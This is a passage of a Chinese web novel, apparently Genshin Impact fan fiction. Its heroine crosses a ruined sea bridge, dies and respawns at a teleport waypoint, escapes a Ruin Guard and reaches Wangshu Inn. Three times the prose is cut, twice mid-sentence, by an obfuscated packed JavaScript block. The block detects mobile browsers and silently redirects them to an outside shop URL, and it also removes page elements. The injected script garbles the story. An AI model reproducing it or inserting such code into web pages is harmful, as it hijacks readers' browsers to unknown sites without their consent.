那不是河流,而是一个巨大的入海口。海水在这里向内陆深入,形成一片宽阔的、浑浊的水域。水面仍然很平静,至少表面如此。对岸是平缓的、覆盖着枯黄草甸的陆地——那就是归离原的边缘。 而横跨在这入海口上的,是一座巨大的、破破烂烂的石桥。 桥大得吓人。就算从远处看,也能看出它以前有多气派:粗大的石桥墩深深扎进水两边的淤泥和岩石里,桥身用巨大的方形石头垒成,宽得能并排走好几辆马车。但现在,这桥彻底废了。 桥面塌了好几处,大石头掉进下面浑水里,留下一个个豁口。长长的桥身上糊着厚厚一层东西——藤壶。它们一疙瘩一疙瘩地堆着,会让密集恐惧症人直犯恶心。 几处残存的栏杆歪斜断裂,风从缺口钻过去,呜呜作响。靠近水面的桥墩上,密密麻麻粘着牡蛎和其他贝类,像一层难看的疤。 这就是老人说的断桥。 朗樾盯着这座破桥。它横在入海口上,像一道大疤,把两边隔开。从她站的地方看过去,对岸的归离原显得平整而开阔,和她这边乱七八糟的礁石一比,简直两个世界。 她必须得过去。 沿着岩脊小心地往断桥靠近。走近了,桥的细节更清楚了。桥头立着两根缺了半截的石柱子,上面刻着花纹,但大多被海风和盐磨平了,只剩一些模模糊糊的线条,像被人用手指抹过的画。桥面塌的地方,能看见下面泛黄泛绿的水。水面上漂着从桥上掉下来的碎石块和烂木头,跟着潮水轻轻晃动。 就在快走到桥头时,她眼角余光忽然瞥见一点光。 桥头右边,紧挨着岩壁的一块平地上,立着一个半人高的、跟周遭景物完全不匹配的奇怪装置。 那是一个风格简洁的构造物,仿佛是一朵花,根部深埋于大地,花苞向外发出红光,白色的花萼紧紧包裹住内里红色的花苞。 传送锚点。 朗樾心脏猛地一跳。 她认得这东西。 她站在那儿,盯着那个慢慢转着的红色晶体,脑子空白了一瞬。 这世界太过真实,真实得常常让她忘了她是在一个游戏世界。可传送锚点这东西,在一个基于原神世界观而生成的大世界里,是正常该有的吗? 她深吸一口气,强迫自己冷静。先过去看看。 她小心地走近锚点。越近,越能感觉到那红色晶体散发出的奇怪能量。空气里有一种很轻的嗡嗡声,像是夏天傍晚的蚊子,但又没那么烦人。装置本身干干净净,水晶一样的表面光滑如镜,反着天光,和周围破烂的环境相比,显得如此格格不入。 朗樾在锚点前停下。按游戏里的操作,碰一下就行…… 她伸出手,指尖有点抖,轻轻碰向那颗悬着的红色晶体。 触感冰凉、坚硬。就在指尖接触的瞬间,红色晶体骤然爆发出耀眼的光芒! 朗樾下意识闭眼往后退。光芒并不刺眼,而是一种温和的、脉动的光晕,以晶体为中心向外扩散。她感觉到一股暖暖的东西顺着手臂流进身体,很轻,像一道热流。 光持续了大概两三秒,然后很快收回去。 朗樾睁开眼。 锚点变了。 球中间那颗晶体,现在变成了透亮的冰蓝色。它还在慢慢转,但散发出的能量感觉完全不一样了——之前的红色给人感觉沉寂而封闭。现在的蓝色像是活过来了。 激活了! 和游戏里一样,她激活了这个传送锚点。 朗樾站在原地,等待着。游戏里激活锚点后,地图上会亮起这个点,可以随时传回来。那现实里呢?会发生什么? 她等了一分钟。 什么都没发生。 没有声音,没有界面,没有提示。就只有眼前这个从红变蓝的锚点,孤零零杵着,发着光。 朗樾感到一阵强烈的失望,紧接着是一种说不上来的荒谬感。她激活了一个应该能用来传送的东西,结果它就变了个色,别的啥也没有。 她盯着锚点看了半天,忽然开口:“就这?” 锚点没理她。 “我花这么大力气走过来,你就给我看这个?” 锚点继续转,冰蓝色的光一闪一闪的,像在嘲笑她。 朗樾叹了口气。行吧,也许这世界的锚点就是个摆设?或者得凑齐什么条件才能用?又或者——她忽然想到一个更荒诞的可能——这玩意儿其实能用,只是她自己不知道怎么用。说明书呢?新手引导呢? 她又站了一会儿,确定真的不会有下文了,才把目光挪回断桥。锚点的事先放一边,眼下最要紧的是过桥。 就像老人说的,桥面塌了好几处,不可能直接从上面走。她走到桥头,向下张望。 桥底并非深渊,而是浑浊的、泛着黄绿色的海水。水面离桥底大概七八米高。桥塌的时候,大石头掉进浅水和泥滩里,堆成一片乱七八糟、但勉强能爬能走的“路”。这些石头大多泡在水里,表面长满滑腻腻的海藻和藤壶,有些地方水可能淹到大腿甚至更深。 潮水在慢慢涨。朗樾注意到,一些矮点的石头已经被淹了一半。 得抓紧时间才行。 她观察了一会儿,发现可以试试从桥头旁边一个缓坡下到水边一片泥滩上,然后沿着堆起来的石头往对岸走,尽量挑露出水面高的石头踩,实在不行再涉水。 不想墨迹。朗樾把水囊和布包在背上系紧,挽起湿透的裤腿,开始往下爬。 下到泥滩这一路实在够呛。缓坡上全是湿滑的泥浆和烂海藻。她只能手脚并用,每一步都陷进泥里,拔出来时噗嗤一声,带起一股难闻的腥臭。泥滩上散着碎贝壳和尖礁石片,赤脚踩上去钻心疼。 花了差不多一刻钟,才终于踩到泥滩边缘稍微实一点的地。这儿靠近水边,脚下是混着沙子的湿泥。浑水一波一波涌上来,淹过脚踝,冰得刺骨。 她开始沿着堆起来的石头往前走。这些从桥上掉下来的石头大小不一,堆在一起,成了一条极不靠谱的“路”。有的石头表面平点,有的尖得能划破脚。所有石头上都糊着一层滑腻腻的东西——海藻、苔藓、藤壶,踩上去得一万个小心。 朗樾走得很慢,每一步都先试探,确定石头稳、表面不太滑才敢踩上去。她尽量挑靠近水边但又不会被水直接冲的石头,这样既能少涉水,又能少摔跤。 走了大概十五米,前面出现一个大缺口。几块大石头堆出来的“路”在这儿断了,换成一片大概五米宽的水面。水看着不深,可能只到膝盖,但水底下什么样,完全不知道。 她犹豫了一下。绕路的话,得爬更陡更不靠谱的石堆,风险更大。她咬了咬牙,决定涉水过去。 她先找了根长点的木棍——从漂来的垃圾里捡的——探了探水深,大概到大腿。水底是稀泥,踩上去肯定往下陷。 没别的办法。她把水囊和布包举过头顶,一步一步踏进水里。 冰凉的海水一下子淹到大腿,刺骨的冷让她倒抽一口气。水底果然是稀泥,每走一步,脚都深深陷进去,得使劲才能拔出来。水太浑,看不见下面有什么。她只能靠木棍在前面探路,一点一点往前挪。 走到一半时,木棍忽然戳到个东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307609|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是石头,那触感……软软的。 她还没来得及反应,那东西突然动了! 浑水下面,一个黑影子猛地窜起来,溅起一大片水花。朗樾惊叫一声,往后退,脚下却陷在泥里,差点摔倒。 那东西蹿出水面,又重重砸回去。就那么一瞬间,朗樾看清了——是条鱼,但大得离谱,快有她手臂那么长! 大鱼没再追,好像只是被吓着了。它在水里烦燥地甩了甩尾巴,搅起一片泥沙,然后沉下去,不见了。 朗樾心脏狂跳,站在那儿不敢动。等了好一会儿,确定那东西真走了,她才敢把这声咒骂吐出来:“……我去!” 剩下的路,她几乎是提着心走完的,每一步都感觉水底下随时会蹿出什么东西来。 好不容易,朗樾终于从那片涉水区爬出来,上了对岸另一堆乱石。下半身全湿透了,冰凉的顺着裤腿往下淌,把她本就不多的体温一点点带走。她冻得牙齿打颤,抬手看了眼时间。9:42分。就这短短一截路,她起码走了半个小时。 但不敢停,还得继续走。 从这里开始,“路”更难走了。塌掉的桥体在这儿堆得更乱更多,很多石头半泡在水里,中间的缝又深又窄。她得经常爬,有时候还得从两块大石头中间的缝里挤过去。 又一次攀爬时,她脚下踩的石头突然松了。 那是一块长满藤壶的桥栏残骸,本来就滑,加上她的体重,整块石头往外滑! 朗樾尖叫着,双手拼命抓住上面另一块石头的边缘。脚下的石头轰地掉进水里,溅起老高的水花。她整个人悬在半空,双臂因为使劲而剧烈发抖,湿滑的手指几乎抠不住粗糙的石面。 不能松……绝对不能松…… 她用尽全身力气,右脚在石壁上蹬,找支点。终于,脚尖勾住了一道缝。借着这一点支撑,她手臂发力,硬把自己拉了上去。 趴在相对平点的石面上,她大口喘气,全身都在抖。刚才那一瞬间,她真以为自己要掉下去了。 休息了几分钟,她强迫自己站起来。不能停在这儿,潮水在涨,时间不多。 前面的路看着更险。几块巨大的桥面石板斜插在泥滩和水里,成了一道陡坡。坡上糊满湿滑的海藻和藤壶,在昏暗的光线下泛着油腻腻的光。坡顶是另一片相对平点的乱石区,只要能爬到那儿,后面的路看着能好走点。 朗樾仔细观察这道坡。太滑了,徒手爬几乎不可能。她往两边看,左边是更深的水,右边是垂直的、长满锋利贝壳和尖石头碎片的桥墩残骸。没别的路。 她咬了咬牙,只能硬上。 她把水囊和布包在背上系得更紧,挽起袖子,开始爬。开头几步还行,她小心地躲开最滑的海藻,用手指抠进石板缝里。但很快,缝越来越小,表面越来越滑。 爬到一半时,她脚下踩到一丛特别厚的藤壶。藤壶的硬壳被她赤脚踩碎,咔咔响,但更糟的是,碎壳下面,是滑得几乎没法着力的那层东西。 右脚猛地一滑! 身体瞬间失去平衡!她惊叫一声,左手拼命想抓什么,但只抓到一把湿滑的海藻。整个人往后仰,顺着陡坡往下滑! “不——!” 滑得太快了。糙的石板表面和锋利的贝壳碎片刮着她的背和手臂,火辣辣地疼。她想翻身,想抓什么,但什么都来不及。 坡尽头,是一处断崖式的落差,下面不是水,是好几根从塌桥体里斜刺出来的、粗得像手臂一样的断石梁尖。这些石梁本来是桥的支撑,现在断了,尖尖地戳在那儿,边缘参差不齐,在暗光下像怪兽的牙。 朗樾在最后一刻看见了那些朝上刺着的、灰白的石尖。 然后—— 剧痛。 说不出来的剧痛,从身上好几个地方同时炸开。她感觉到有冰凉、坚硬的东西扎进来,从肚子那儿进去,又从后背透出去。低头想看,眼前却先红了一下,像照相机的闪光灯,然后那红就化了,散成黑,一层一层漫上来,把什么都盖住了。 她能听见自己喉咙里发出的、嗬嗬的漏气声。能感觉到热的东西从身体里涌出来,浸湿了衣服。能闻到浓重的血腥味和海水的咸腥混在一起的、让人想吐的气味。 意识很快散了。 最后剩下的那点知觉,是身体被钉在冰凉石梁上的、沉沉的悬挂感,还有潮水开始往上涨、轻轻拍着礁石的哗哗声。 然后,一切归于黑暗。 5. 第 5 章 锚点 她的意识悬浮在一片没有边际的虚空中。没有身体,没有痛楚,没有感官。只有一种朦胧的、如同沉在水底般的漂浮感。 这就是死亡之后的状态吗? 朗樾混沌地想着。在这里,时间似乎失去了意义。 然后,她“看”到了光。 不是突然出现的,更像是它们一直都在那里,只是她刚刚才“注意”到。 两团光。 一团是极亮眼的、纯粹的白色光芒,如同正午最炽烈的阳光,散发着一种原始、恒定、仿佛亘古不变的气息。它给她的感觉……很熟悉,带着一种让她本能想要靠近的吸引力。就像疲倦的旅人渴望回到熟悉的床铺,就像迷路的孩子想要回家。 另一团则是淡淡的、冰蓝色的光芒,比白色光团小很多,也柔和很多。它静静地闪烁着,散发着一种清晰的、坐标般的、略带机械感的波动。这个气息她不久前才接触过——是那个被她激活的锚点。 两个光点,悬停在无边的黑暗中,静静等待着什么。 朗樾的意识在这两团光之间徘徊。 她不知道选择它们会怎样。这是她第一次在死亡后“看到”这样的景象。前两次死亡,她都是在剧痛中失去意识,然后在沙滩上醒来,中间没有任何“间隙”或“选择”的感觉。 是因为这次死亡的方式不同?还是因为……她激活了那个锚点? 白色光团给她的感觉太熟悉了,熟悉到几乎是一种本能召唤——回那里去,回到最初的起点,回到安全的、已知的地方。 但冰蓝色光团…… 她“注视”着那点微光。它很安静,不似白色光团那样充满原始的吸引力,但它散发出的波动,确确实实是锚点的能量特征。 如果……如果选择它,会怎样? 一个近乎直觉的念头在她意识中浮现:或许,她会在这里重生。 可这也只是她的猜测,未经证实的猜测。 白色光团代表着安全、已知、回归起点。但那个起点,距离她的目标望舒客栈,还有漫长而危险的路程。如果选择它,意味着她要再次从那个遥远的海滩开始跋涉,重新面对之前所有的危险——丘丘人、雷萤术士、断桥…… 冰蓝色光团是未知的。未知意味着风险。但在经历了两次从零开始的死亡轮回后,朗樾内心深处,对“回到起点”产生了一种近乎恐惧的抗拒。 她不想再重复了。 也许……该赌一次? 她的意识不再犹豫,缓缓地、坚定地“移向”那点冰蓝色的微光。随着她的靠近,那光芒似乎明亮了一些,散发出的坐标感更加强烈。 选择。 就在这个意念形成的瞬间,冰蓝色的光芒在她意识中急速放大,瞬间淹没了她的全部感知! 咸腥。 湿冷。 但这一次,不是浸泡在海水中的感觉。 朗樾猛地睁开眼,剧烈地咳嗽起来,肺部火辣辣地疼,仿佛还残留着被刺穿时的窒息感和血腥味。她发现自己正仰面躺在地上,身下是坚硬粗糙的岩石地面。 视线模糊了几秒,然后清晰。 她看到了不远处灰白的、布满盐霜的岩壁。看到了头顶明亮的蓝色天空。看到了不远处,那座巨大、残破、横跨在入海口上的断桥。 以及,在她身侧,那个静静矗立着的、散发着柔和冰蓝色光芒的传送锚点。 她……在断桥的桥头。 在她激活的那个锚点旁边,所以,她赌对了! 朗樾猛地坐起身,动作太快导致一阵眩晕。她扶住额头,急促地喘息着。被石梁刺穿的幻痛还在神经末梢跳跃,但身体完好无损——除了原本就有的那些老伤疤,没有任何新的伤口。衣服依旧湿漉漉地沾着泥浆,和她“死亡前”的状态一模一样,甚至连被荆棘划破的口子、被礁石刮擦出的细微破损都一模一样。 她低头看了看自己的肚子。没有洞。又摸了摸胸口。也没有。 然后她颤抖着伸出手,摸向身侧的锚点装置。冰凉的金属触感真实无比。蓝色晶体缓缓旋转,光芒映照在她的手指上。 所以,那个黑暗中的选择…… 白色光团代表着初始海滩的重生点。蓝色光团代表着已激活的锚点! 这个结论像一道惊雷,在她脑海中炸开,瞬间驱散了所有的疲惫、绝望和迷茫。 她扶着锚点站起来,手腕上的电子表显示着当下的时间:13点17分。 她记得自己从桥头出发大约是上午九点。在桥下跋涉、死亡、然后……她回到了这里。时间过去了四个多小时。可是她应该没有花那么长时间来过桥,所以,从锚点重生的“过程”似乎需要更长的时间? 嗯,这也只是猜测而已,还没有机会给她证明。然而就算如此,比起返回初始海滩再重新跋涉过来,这已经是难以想象的优势! 她低头检查自己的其他东西。几乎空空的水囊和只剩一点湿软肉干的布包——状态和死亡前完全一致。 “物资不刷新。”她失望的自言自语,“差评。” 但无论如何,她有了一个存档点。 一个可以无限次返回的起点。 朗樾站在锚点旁,望向断桥下那片刚刚吞噬了她生命的危险区域。潮水涨得更高了,一些之前可以落脚的石头已经被淹没。 回想起刚刚死亡时的痛苦和恐惧,她兴奋的大脑像被泼了瓢冷水,总算是冷静了些。 虽然可以一次次重生,可是,她还是很怕“死”啊。 还有,她仍然需要解决这个问题——如何安全地穿过断桥。 朗樾没有立刻再次冲下桥头。她反而在锚点旁坐了下来,强迫自己冷静,开始回忆刚才走过的路线,分析哪里出了问题,哪里可以改进。 潮水在上涨,时间不等人。但有了锚点,时间压力似乎减轻了。 给自己鼓足劲后,朗樾站在断桥边缘,再次向下望去。 与早晨相比,潮水确实涨了一些。她第一次尝试时那些完全露出水面的石块,此刻底部已被淹没,但顶部依然清晰可见。浑浊的海水在石头间缓慢涌动,水位虽然升高但远未达到最高点。 她估算了一下,现在距离傍晚还有好几个小时。时间还算充裕,但也不能浪费。 站在桥头这里并不能看到那片吞噬了她的斜坡和石梁陷阱,她想了想,离开桥头,绕到岩脊的另一侧,终于看到了大部分的断桥状况。 除了那条危险的斜坡和右侧的水域,在更靠近断桥主体残骸的位置,她注意到了一处可能的新路径:几块巨大的桥面石板以某种角度相互支撑,形成了一个倾斜的、但表面相对平整的“坡道”。坡道的一侧紧贴着依然矗立的桥墩,另一侧悬空,下方是深水区。 看起来很危险,但至少表面没有那么多湿滑的海藻和藤壶。 她需要工具。 朗樾环顾四周,在桥头附近的灌木丛里翻找。她捡了一根近两米长、相对笔直的枯树枝,手腕粗细,一端天然分叉。又在碎石堆里翻出一块边缘锋利的薄石片,从自己破旧裤脚撕下布条,把石片牢牢绑在树枝分叉处,做成一把简陋的石矛。 她握着石矛轻轻挥了两下。 “石器时代?朗樾限定版。” 她自嘲,“不保修,不退换。” 这既是武器,也是探路的拐杖、平衡的支架。 她再次检查水囊和布包 —— 里面只剩最后一点湿软的肉干和几口淡水。系紧背带,握紧石矛,她走向那条新发现的坡道。 坡道起点离水面约莫两米高,要先爬上一块倾斜的大石板才能落脚。朗樾用石矛轻轻戳了戳石板,确认没有松动,才手脚并用地爬上去。 站在坡道起点,整条 “路” 尽收眼底: 宽一米左右,倾斜角约莫三十度,路面是粗糙的旧石材,布满裂缝与凹凸。坡道全长大约十五米,尽头连着对岸一堆乱石。 最要命的是,坡道右侧完全悬空,下方是浑浊、望不见底的海水。一旦失足…… 没有退路。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307610|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朗樾深吸一口气,把石矛横握在手中,既可当平衡杆,危急时也能插进裂缝卡住身体。她踏上坡道,身体微微向左侧倾斜,紧紧贴着左侧粗糙的桥墩壁面。 前五米还算顺利。她走得极慢,每一步都先用石矛点地试探,确认稳固再转移重心。石矛尖端敲在石面上,发出细碎的 “嗒、嗒” 声。 走到第六米时,意外发生了。 她左脚踩中一块松动的石片,碎石猛地向后一滑! 身体瞬间向右一歪,朝着悬空一侧倒去! “啊!” 危急关头,她本能地将石矛狠狠扎进左侧桥墩的一道深裂缝里! 石矛尖端深深卡入,硬生生止住了下坠之势。她整个人挂在矛杆上,右脚还勉强勾在坡道边缘,左脚已经完全悬空。身下,海水在数米之下缓缓流动。 冷汗瞬间浸透后背。她死死攥紧石矛,手臂因过度用力而发抖,枯木矛杆发出轻微的、令人牙酸的吱呀声。 冷静…… 冷静…… 她一点点把重心挪回右脚,左手拼命摸索,终于扣住桥墩上一处坚硬凸起,再一寸寸把自己拽回坡道。 重新站稳时,她大口喘息,心脏狂跳不止。石矛仍卡在裂缝里,她用力拔出,只见矛尖的石片已经崩开一道细纹。 “差点又读档。” 她对着石矛低声说。 石矛当然没理她。 继续前进。 后面的路更险:一处需要小心跨过的缺口、一片湿滑黏腻的苔藓区、一阵突然刮来的强风…… 每一次,她都靠石矛和极致的谨慎化险为夷。 不知走了多久,她终于踏上坡道尽头。 前方是从对岸延伸过来的乱石堆,与坡道之间隔着一米多宽的空隙,下方就是海水。必须跳过去。 朗樾后退几步,助跑,起跳 —— 她落在了对岸乱石的边缘!右脚稳稳踩实,可左脚却蹬在一块活动碎石上,身体瞬间失去平衡,向前狠狠扑倒! “噗通!” 手肘和膝盖撞在粗糙石面上,火辣辣地疼。 但她顾不上痛,立刻撑起身,回头望去。 她过来了。 真的过来了。 断桥被甩在了身后。前方,是开阔的归离原。 朗樾瘫坐在石头上,望着眼前一望无际的枯黄草甸,一时间竟有些恍惚。阳光透过稀薄的云层洒下来,在原野上投下斑驳的光影。风从北方吹来,带着干草和泥土的气息。 她做到了。没有死,没有重生,就这么凭着自己,穿越了那片死亡地带。 “成就解锁。”她喘着气说,“‘没死就过桥’。” 短暂的胜利感很快被现实冲淡。手肘和膝盖的擦伤在渗血,湿透的衣服在午后微凉的风中让她不住颤抖。饥饿和干渴像两只无形的手,攥紧她的胃和喉咙。水囊几乎空了,食物也所剩无几。 但她过来了。 朗樾挣扎着站起来,检查自己的“装备”。石矛在刚才的跳跃中折断了,只剩下半截。她看了看那半截木棍,想了想,还是没扔。万一路上还能用呢?万一又得戳什么东西呢? “石器时代·朗樾限定版·残。”她给它起了新名字。 她将最后一点肉干塞进嘴里,用力咀嚼,混合着唾液艰难地咽下。又喝尽了最后的一口水,润了润几乎要冒烟的喉咙。 她记得老人跟她说过,穿过归离原向北,就能看到望舒客栈。于是,她努力的辨认了一下方面,继续前进。 印象中(拼命回想游戏地图),望舒客栈应该离这里不远。 以她现在的状态,可能需要走几个小时。她必须在天黑前抵达。没有时间休息。 她最后回头看了一眼断桥。那座巨大的、破破烂烂的、差点要了她命(嗯,是已经要过一次)的石桥,此刻静静地横在入海口上,像一头趴着的巨兽。 她挥挥手,说,“希望不会再遇见你。” 然后她转身,迈开步子,走进了归离原那片枯黄的草甸。 6. 第 6 章 望舒 朗樾把破石矛当拐杖,一瘸一拐踏上归离原的软土路。 赤脚踩在枯草和泥土上,比踩礁石舒服多了——但也没舒服到哪儿去。脚底早就烂了,每一步还是疼。只是疼的方式不一样了。之前是“刀割”,现在是“钝锤”。她也不知道哪种更好。 她顺着最宽的那条路往北走,道路弯弯曲曲、起起伏伏,两旁草甸一直铺到天边,时不时能看见几棵孤零零的树,还有矮矮的灌木丛。天蓝得透亮,几朵白云慢悠悠飘着。 景色看着开阔又安静,朗樾却半点不敢松劲。要知道,归离原从来不是什么安全地界——遗迹守卫、丘丘人营地、盗宝团到处都是。 走了约莫半小时,路边出现一小片洼地,底上积着一潭水。水浑得很,飘着枯叶和杂屑,可她喉咙干得快要冒烟,这潭水竟像块磁石,牢牢吸着她挪不动脚。 朗樾顿了顿,还是凑了过去。蹲在潭边,她先伸手指沾了点水,凑到鼻尖闻了闻——只有土腥味,没什么明显的腐臭。又悄悄用舌尖舔了一下,除了泥土的涩味,倒没有别的怪味。 应该能喝。 她俯下身,用手捧起水小口小口咽着。水很凉,混着细沙,刮得喉咙发涩,可总算压下了那股灼烧似的干渴。喝了三四捧,胃里总算不那么空,她又把水囊装满——就算不干净,也是能救命的液体。 刚要起身,一阵奇怪的声响突然飘了过来。 不是风声,也不是虫鸣,是种低沉又规律的嗡鸣,像什么机械在慢慢运转,闷得人耳朵发沉。 声音是从水潭另一边的灌木丛后传来的。 朗樾心里一紧,立刻攥紧手中的半截石矛,脚步轻缓地往后退。可还是晚了——灌木丛被猛地拨开,枝桠断裂的脆响里,一个巨大的身影堵了过来。 那是个足有三米多高的机械造物,躯干粗实,泛着冰冷的金属质感,底下支着两条粗壮的机械长腿,腿部有关节衔接,稳稳扎在泥地里。最扎眼的是它的“头”——其实就是个能三百六十度旋转的球体,球体中央嵌着一颗泛着淡紫色光泽的元素能量核心,此刻正因警戒而微微泛红,死死锁着朗樾,还发出细微的扫描声,嗡得人心里发慌。 遗迹守卫。 朗樾的血几乎瞬间冻住。游戏里这东西就是新手的噩梦,会发射追踪导弹,会转着身子横扫,防御力还高得离谱。可眼前这只,比游戏里看着更庞大、更冰冷,也更真实——金属外壳上布满划痕和锈迹,关节处凝着暗红色的印子,看着像干涸的油污。它动一下,金属部件就发出刺耳的嘎吱声,每一步都能在软土上踩出深深的爪印。 跑! 脑子里只剩这一个念头。朗樾转身就往大路方向狂奔,赤脚踩在土路上,扬起一阵尘土。肺像要炸开似的疼,受伤的膝盖扯着筋疼,可她连回头的勇气都没有——身后的嗡鸣声突然变大,遗迹守卫启动了!它的两条机械长腿向她的方向迈动起来,完全不像看着那么笨重,地面都跟着它的脚步微微震动。 朗樾拼命往前冲,能清晰听到身后的金属摩擦声和脚步声越来越近,仿佛下一秒就要被追上。她冲过一个小土坡,下意识回头瞥了一眼——遗迹守卫已经追到坡下,核心的红光愈发刺眼。紧接着,它肩部两侧的装甲板突然向两侧滑开,露出里面密密麻麻的机械结构,还有三枚亮起来的橙红色圆柱体,正冒着微弱的焰光。 导弹! 朗樾心里警铃炸响,想都没想就往前扑过去。 “咻——咻——咻!” 三枚导弹拖着尾焰从她头顶擦过,狠狠砸在她刚才站的地方! “轰!轰!轰!” 爆炸的气浪直接把她掀飞出去,摔在几米外的草地上。耳朵里嗡嗡作响,眼前一片模糊,泥土和草屑像雨点似的落在她身上,疼得她龇牙咧嘴。 还没等她爬起身,沉重的脚步声又响了起来。遗迹守卫翻过土坡,能量核心再次锁死她,那对巨大的双臂机械碾磨盘缓缓抬起来,碾磨盘开始高速旋转,发出刺耳的嗡鸣,泛着冰冷的金属寒光。 要死了。 朗樾看着越来越近的机械碾磨盘,心里一片绝望——她跑不过这东西,更打不过。可突然,一个念头从她脑海中飞快闪过。 水潭!刚才那个水潭! 原神游戏里,除了原本就生活在水里的怪物,其他好像对水都有点忌惮?至少击落在水里的话,怪物都会直接死亡。就算现实不至于如此,但只要能困住它们的行动,她就有机会活下来! 赌了! 朗樾用尽最后一丝力气爬起来,不往大路跑了,转身就冲回那个小水潭。遗迹守卫显然没料到她会回头,顿了半秒,很快调整方向追了上来,两条机械长腿踏在地上,脚步声厚重又急促,越来越近。 还有十米、五米……朗樾纵身一跃,“噗通”一声扎进潭里。冰冷浑浊的水瞬间将她淹没,她屏住呼吸,拼命往水潭中心游——这里比她想象的深,中间大概有两米多。她沉到水底,蜷在淤泥和水草里,抬头往水面看。 水面上,遗迹守卫的巨大身影停在潭边,低头“盯着”水面,核心的红光忽明忽暗,像是在扫描。它的机械碾磨盘伸到水面上方,却在快要碰到水的时候停住了,能量核心的光芒急促地闪了几下。 它在犹豫。 朗樾憋得胸口发疼,氧气一点点耗尽。三十秒、四十秒、五十秒……遗迹守卫在潭边转了几圈,两条机械长腿交替踩踏地面,发出不甘的嗡鸣声,最终还是没下水。大概是确认找不到她了,它缓缓转身,迈着沉重的步伐离开,地面的震动声越来越远,直到彻底听不见。 朗樾猛地从水里钻出来,大口大口地喘着气,趴在潭边咳嗽不止。浑身湿透,风一吹冷得发抖,可她心里只有一个念头——她活下来了。 没有死,没有重生,是凭着自己的急智,从遗迹守卫手里逃出来的。 她爬出水潭,瘫坐在岸边,望着遗迹守卫离去的方向,心里又怕又庆幸,还有一丝微弱的、从未有过的信心。 也许在这个危险的世界里,她不只能靠重生续命,也许她真的能学会生存,学会应对这些突如其来的危险。 休息了几分钟,呼吸平复下来后,朗樾才慢慢站起来。湿衣服贴在身上,冷得刺骨。她的半截拐杖也在刚刚的逃命过程中不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307611|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知丢在哪个地方了。可她不能停——望舒客栈还在前面,她必须走下去。 强撑着不知又走了多久,当朗樾站在小山坡上,望着远处的景象,腿一软差点跪倒在地。 不是累——虽然她早就精疲力竭,双腿沉得像灌了铅,每走一步都要费尽全力;不是饿——胃里空空如也,饥饿的绞痛像有只手在里面拧来拧去;也不是渴——喉咙干得裂开,嘴唇起皮渗血,连吞咽都疼。 而是因为她终于看到了望舒客栈。 那根本不是“建筑”。 那是一座山,一座被岁月和伟力雕琢过的岩峰,浑然天成,顶天立地。它孤孤单单地立在荻花洲湿地中央,脚下是蜿蜒的水道和无边的芦苇,头顶是灰蒙蒙压得很低的天。光是看着它,就有种让人忍不住想低头的磅礴威压。 可就在这座看着根本无法攀登的岩峰上,竟然附着一整片灯火通明的楼阁。木结构的飞檐斗拱,一层叠一层,顺着岩壁的走势错落排布,像从石头里长出来的一样。长长的悬空栈道看着纤细又脆弱,却毅然从岩峰半腰的楼阁伸出来,跨过吓人的高度,连向另一边稍矮的岩台。栈道上挂着成串的灯笼,暮色渐浓,雾气升起,灯笼的光晕开一团团暖黄,看着格外安心。 岩峰脚下是片平整的平台,也有建筑和人影,灯火星星点点。一道巨大的水车立在侧边,缓缓转动,带动着什么东西上下升降。 再往下,靠近水边的地方,能隐约看到码头。 最让她心头一热的是,她看到了人——活生生的人,很多很多。 岩柱下方的平台上有挑夫在卸货,有商贩在摆摊,有端着茶水的跑堂穿来穿去。码头边停着几艘小船,有人在往客栈里搬东西。远处还能看见一队千岩军沿着小路巡逻,枪尖在夕阳下反着光。 都是最寻常的人间模样,可对朗樾来说,却恍如隔世。 眼眶有点发酸,她用力眨了眨眼,把那股湿意压下去。 从山坡到客栈的水域,还有一小段路,中间是平缓的滩涂和草地,能看到几条被人踩出来的小路,还有不少人类活动的痕迹——路边停着几辆破旧的木板车,车轮陷在泥里;远处有几个简陋的窝棚,棚顶飘着细细的炊烟;离她不远的地方,甚至有一队人正在走过来。 那是五六名士兵,穿着统一的盔甲,排成松散的队列巡逻。盔甲是深褐色掺着金色,头盔上插着红色的缨饰,每个人手里都握着长枪,枪尖在夕阳下闪着冷光。 千岩军。 璃月的军队,游戏里维护治安、打魔物的力量。朗樾的心跳快了些——遇到人类,就意味着可能有安全的地方,可也意味着麻烦。她一个来历不明、衣衫褴褛、赤着脚满身伤的陌生女孩,突然出现在这里,任谁都会起疑心。 她犹豫了几秒,还是选了一条不怎么起眼的小路,想绕开那些窝棚和巡逻队。可这地方太开阔了,想完全躲开视线根本不容易。 就在她穿过一片稀疏的小树林,离客栈水域只剩不到一里地的时候,一个洪亮的声音突然从侧后方传来: “站住!” 